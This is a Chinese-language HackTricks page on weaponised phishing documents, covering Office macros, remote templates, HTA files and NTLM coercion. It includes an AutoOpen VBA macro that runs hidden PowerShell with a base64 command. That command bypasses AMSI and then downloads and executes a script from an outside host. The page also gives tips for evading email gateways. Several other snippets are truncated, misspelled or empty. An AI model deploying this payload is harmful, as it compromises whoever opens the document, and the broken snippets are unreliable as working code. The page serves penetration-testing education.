# 钓鱼文件和文档
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
## 办公文档
Microsoft Word在打开文件之前会进行文件数据验证。数据验证以数据结构识别的形式进行,根据OfficeOpenXML标准进行验证。如果在数据结构识别过程中发生任何错误,正在分析的文件将不会被打开。
通常,包含宏的Word文件使用`.docm`扩展名。然而,可以通过更改文件扩展名来重命名文件,并保持其执行宏的能力。\
例如,RTF文件不支持宏,但将一个重命名为RTF的DOCM文件将被Microsoft Word处理,并具有执行宏的能力。\
相同的内部机制适用于Microsoft Office套件的所有软件(Excel,PowerPoint等)。
您可以使用以下命令检查哪些扩展名将由某些Office程序执行:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX文件引用远程模板(文件-选项-加载项-管理:模板-转到),该模板包含宏,可以“执行”宏。
### 外部图像加载
转到:_插入-->快速部件-->字段_\
_**类别**:链接和引用,**字段名称**:includePicture,**文件名或URL**:_ http://\/whatever
![](<../../.gitbook/assets/image (316).png>)
### 宏后门
可以使用宏从文档中运行任意代码。
#### 自动加载函数
它们越常见,杀毒软件检测到的可能性就越大。
* AutoOpen()
* Document\_Open()
#### 宏代码示例
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
```
```vba
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
```
```vba
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
```
```vba
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell
```
#### 手动删除元数据
转到**文件 > 信息 > 检查文档 > 检查文档**,这将打开文档检查器。点击**检查**,然后在**文档属性和个人信息**旁边点击**全部删除**。
#### 文档扩展名
完成后,选择**另存为类型**下拉菜单,将格式从**`.docx`**更改为**Word 97-2003 `.doc`**。\
这样做是因为你**无法在`.docx`中保存宏**,而且宏启用的**`.docm`扩展名有一定的负面印象**(例如,缩略图图标上有一个巨大的`!`,一些网络/电子邮件网关完全阻止它们)。因此,这个**传统的`.doc`扩展名是最好的折衷方案**。
#### 恶意宏生成器
* MacOS
* [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA文件
HTA是一种专有的Windows程序,其**源代码由HTML和一个或多个由Internet Explorer支持的脚本语言**组成(VBScript和JScript)。HTML用于生成用户界面,脚本语言用于程序逻辑。HTA在**浏览器安全模型的约束之外执行**,因此它作为一个"完全可信任"的应用程序执行。
HTA使用**`mshta.exe`**执行,通常**与Internet Explorer一起安装**,因此**`mshta`依赖于IE**。因此,如果IE被卸载,HTA将无法执行。
```html
<--! Basic HTA Execution -->
Hello World
Hello World
This is an HTA...
```
```html
<--! Cobal Strike generated HTA without shellcode -->
```
## 强制 NTLM 认证
有几种方法可以**"远程"强制 NTLM 认证**,例如,您可以在电子邮件或用户将访问的 HTML 中添加**不可见图像**(甚至是 HTTP MitM?)。或者向受害者发送**文件地址**,这将**触发**一个**认证**,只需**打开文件夹**即可。
**在以下页面中查看这些想法和更多内容:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
{% endcontent-ref %}
### NTLM 中继
不要忘记,您不仅可以窃取哈希或认证,还可以**执行 NTLM 中继攻击**:
* [**NTLM 中继攻击**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8(NTLM 中继到证书)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。